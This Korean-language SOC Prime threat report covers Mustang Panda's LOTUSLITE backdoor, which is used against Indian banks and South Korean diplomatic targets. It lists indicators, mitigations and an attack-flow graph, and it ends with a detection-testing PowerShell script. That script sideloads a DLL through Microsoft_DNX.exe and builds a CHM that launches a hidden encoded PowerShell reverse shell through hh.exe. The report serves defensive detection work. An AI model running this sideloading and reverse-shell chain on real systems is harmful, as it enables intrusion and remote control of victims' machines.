SOC Prime Bias: Critical

22 Apr 2026 15:58 UTC

같은 패킷, 다른 마법: Mustang Panda, 인도 금융 부문 및 한국 지정학 공격

Author Photo
SOC Prime Team linkedin icon 팔로우
같은 패킷, 다른 마법: Mustang Panda, 인도 금융 부문 및 한국 지정학 공격
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Acronis 위협 연구팀은 인도의 은행 부문과 한국 외교 업무에 연결된 개인을 대상으로 하는 새로운 LOTUSLITE 백도어 변종을 발견했습니다. 이 악성 코드는 DLL 사이드로딩을 통해 배포되며, 합법적인 Microsoft 서명 실행 파일을 사용하여 악성 라이브러리를 로드한 후 HTTPS를 통해 동적 DNS 기반 명령 및 제어 서버와 통신합니다. 인프라 패턴과 무역기술 중첩을 기반으로 연구자들은 이러한 활동을 Mustang Panda에 중간 정도의 신뢰로 귀속했습니다.

조사

분석가들은 악성 CHM 파일, JavaScript 기반 로더 및 서명된 Microsoft_DNX.exe 파일을 조사하여 LOTUSLITE 페이로드를 사이드로딩한 DLL을 확인했습니다. 그들의 분석은 내보낸 함수, 뮤텍스 명명 규칙, 명령줄 스위치, 패킷 매직 값, 및 API 해상 방법에서의 업데이트를 밝혔습니다. 팀은 또한 Dynu 관리 도메인과 관련된 IP 인프라를 재사용하여 이전의 Mustang Panda 캠페인과 작업을 연결했습니다.

완화책

방어자는 신뢰할 수 있는 Microsoft 서명 실행 파일로의 무단 DLL 로딩을 방지하고, 식별된 뮤텍스 패턴과 수정된 명령줄 인수를 모니터링하며, 동적 DNS 트래픽 주위에 엄격한 제어를 취해야 합니다. 보안 팀은 또한 특징적인 패킷 매직 값 0xB2EBCFDF 를 탐지하고 지속성을 나타낼 수 있는 의심스러운 HKCU 실행 키 수정 사항을 주의 깊게 살펴보아야 합니다.

대응

이 활동이 감지되면, 영향을 받은 시스템을 즉시 격리하고, 악성 프로세스를 종료하며, 디스크에서 사이드로딩된 DLL과 악용된 실행 파일을 제거해야 합니다. 포렌식 분석을 위해 메모리를 캡처하고, 노출된 자격 증명을 철회하며, 식별된 명령 및 제어 도메인과 IP 주소를 차단해야 합니다. 캠페인에 관련된 뮤텍스 및 레지스트리 기반 지속성 아티팩트를 환경에서 광범위하게 사냥해야 합니다.

"graph TB %% Class definitions section classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodes action_initial_access["<b>Action</b> – <b>T1566.001 Spearphishing Attachment</b><br/>악성 컴파일된 HTML 도움말(CHM) 파일이 이메일로 전송됩니다."] class action_initial_access action file_chm["<b>File</b> – <b>Name</b>: Request_for_Support.chm<br/><b>Type</b>: 컴파일된 HTML 도움말"] class file_chm file action_user_execution["<b>Action</b> – <b>T1204.002 User Execution</b><br/>피해자가 CHM을 열어 포함된 JavaScript를 실행합니다."] class action_user_execution action action_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>JavaScript는 ActiveX 및 숨겨진 HTML을 사용하여 Microsoft 서명된 실행 파일과 악성 DLL을 떨어뜨립니다."] class action_obfuscation action file_ms_dnx["<b>File</b> – <b>Name</b>: Microsoft_DNX.exe<br/><b>Signature</b>: Microsoft 서명"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Name</b>: LotusLite 변종 DLL<br/><b>Type</b>: 동적 링크 라이브러리"] class file_lotuslite malware action_embedded_payloads["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>CHM에는 DLL과 EXE를 추출하고 실행하는 JavaScript(music.js)가 포함되어 있습니다."] class action_embedded_payloads action action_system_binary_proxy["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b><br/>Microsoft_DNX.exe는 LoadLibraryExW를 통해 악성 DLL의 실행을 프록시 처리합니다."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Action</b> – <b>T1127 Trusted Developer Utilities Proxy Execution</b><br/>신뢰할 수 있는 .NET 런타임 도구인 Microsoft_DNX.exe를 악용하여 백도어를 실행합니다."] class action_trusted_dev_utilities action action_script_proxy["<b>Action</b> – <b>T1216 System Script Proxy Execution</b><br/>포함된 JavaScript는 실행 파일을 실행하기 위한 스크립트 프록시로 작동합니다."] class action_script_proxy action action_hijack_execution["<b>Action</b> – <b>T1574.005 Hijack Execution Flow</b><br/>실행 파일의 디렉터리에 동일한 이름의 악성 DLL을 배치하여 DLL 사이드로딩을 수행합니다."] class action_hijack_execution action action_persistence["<b>Action</b> – <b>T1547.014 Boot or Logon Autostart Execution</b><br/>활성 설정이 HKCUSoftwareMicrosoftWindowsCurrentVersionRun 아래에 실행 키를 작성합니다."] class action_persistence persistence command_and_control["<b>Command and Control</b><br/>심어 둔 프로그램이 dynamic-DNS 도메인 editor.gleeze.com에 HTTPS를 통해 접속합니다."] class command_and_control process %% Connections showing attack flow action_initial_access –>|delivers| file_chm file_chm –>|opened by victim| action_user_execution action_user_execution –>|triggers| action_obfuscation action_obfuscation –>|drops| file_ms_dnx action_obfuscation –>|drops| file_lotuslite file_ms_dnx –>|used in| action_system_binary_proxy file_ms_dnx –>|used in| action_trusted_dev_utilities action_system_binary_proxy –>|loads| file_lotuslite action_trusted_dev_utilities –>|executes| file_lotuslite action_user_execution –>|executes| action_script_proxy action_script_proxy –>|launches| file_ms_dnx action_obfuscation –>|enables| action_embedded_payloads action_embedded_payloads –>|provides| action_hijack_execution action_hijack_execution –>|facilitates| action_persistence action_persistence –>|establishes| command_and_control "

공격 흐름

시뮬레이션 실행

전제조건: Telemetry & Baseline 사전 비행 탐사가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 촉발시키기 위해 설계된 구체적인 적대자 기술(TTP)의 실행을 자세히 설명합니다. 명령어와 설명은 TTP에 대해 직접 반영되어야 하며 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하기 위한 것입니다.

  • 공격 서사 및 명령어:

    1. 악성 DLL 준비:

      • 공격자는 악성 DLL(lotuslite.dll)을(를) 합법적인 파일과 동일한 디렉터리에 복사합니다. Microsoft_DNX.exe. 이 DLL은 백도어 페이로드를 포함하고 있습니다.
    2. Microsoft_DNX.exe를 통한 DLL 사이드로딩 실행:

      • 을(를) 인수 없이 실행하여 Windows가 먼저 악성 DLL을 로드하게 하여(“검색 순서” 하이재킹으로 인해) 백도어를 실행합니다. Microsoft_DNX.exe without arguments, Windows loads the malicious DLL first (due to the “search order” hijack), executing the backdoor.
    3. 악성 CHM 생성:

      • CHM 파일 (evil.chm)은 렌더링될 때 PowerShell 역셸을 실행하는 JavaScript를 포함하도록 작성되었습니다.
    4. hh.exe를 통한 JavaScript 트리거:

      • 공격자는 hh.exe evil.chm을(를) 실행하여 HTML 도움말 실행 파일이 CHM을 파싱하고 포함된 스크립트를 실행하여 서명된 바이너리 아래서 코드 실행을 달성합니다.

    이 시퀀스는 탐지 규칙의 조건에 맞는 두 가지 별개의 Sysmon 프로세스 생성 이벤트를 생성합니다.

  • 회귀 테스트 스크립트:

    # -------------------------------------------------------------------------
    # LotusLite Simulation – DLL sideloading + hh.exe CHM execution
    # -------------------------------------------------------------------------
    # Prerequisites:
    #   - Sysmon installed and forwarding logs.
    #   - Administrator privileges (required for writing to Program Files).
    
    $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
    $dnxDir  = Split-Path $dnxPath -Parent
    
    # 1. Deploy malicious DLL (simulated payload)
    $malDllSource = "C:Templotuslite.dll"      # <-- replace with real payload path
    $malDllDest   = Join-Path $dnxDir "lotuslite.dll"
    Copy-Item -Path $malDllSource -Destination $malDllDest -Force
    
    # 2. Launch Microsoft_DNX.exe to trigger DLL sideloading
    Write-Host "[*] Launching Microsoft_DNX.exe for DLL sideloading..."
    Start-Process -FilePath $dnxPath -WindowStyle Hidden
    
    # 3. Create malicious CHM containing JavaScript (simplified example)
    $chmPath = "C:Tempevil.chm"
    $htmlContent = @"
    <HTML><HEAD>
    <SCRIPT language=`"JScript`">
    var shell = new ActiveXObject("WScript.Shell");
    shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0);
    </SCRIPT>
    </HEAD><BODY></BODY></HTML>
    "@
    
    $tempHtml = "C:Tempevil.html"
    $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII
    
    # Use makecab to wrap the HTML into a CHM (requires Windows SDK tools)
    $makeCab = "$env:WINDIRsystem32makecab.exe"
    & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath
    
    # 4. Execute the CHM via hh.exe
    Write-Host "[*] Launching hh.exe on malicious CHM..."
    Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden
    
    # Cleanup temporary files (retain malicious DLL for post‑run analysis)
    Remove-Item $tempHtml -Force
    Write-Host "[*] Simulation complete."
  • 정리 명령어:

    # -------------------------------------------------------------------------
    # Cleanup for LotusLite Simulation
    # -------------------------------------------------------------------------
    $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
    $dnxDir  = Split-Path $dnxPath -Parent
    $malDllDest = Join-Path $dnxDir "lotuslite.dll"
    $chmPath = "C:Tempevil.chm"
    
    # Remove malicious DLL
    if (Test-Path $malDllDest) {
        Remove-Item $malDllDest -Force
        Write-Host "[*] Removed malicious DLL."
    }
    
    # Remove CHM
    if (Test-Path $chmPath) {
        Remove-Item $chmPath -Force
        Write-Host "[*] Removed malicious CHM."
    }
    
    # Optionally terminate lingering processes (if any)
    Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force
    Write-Host "[*] Cleanup finished."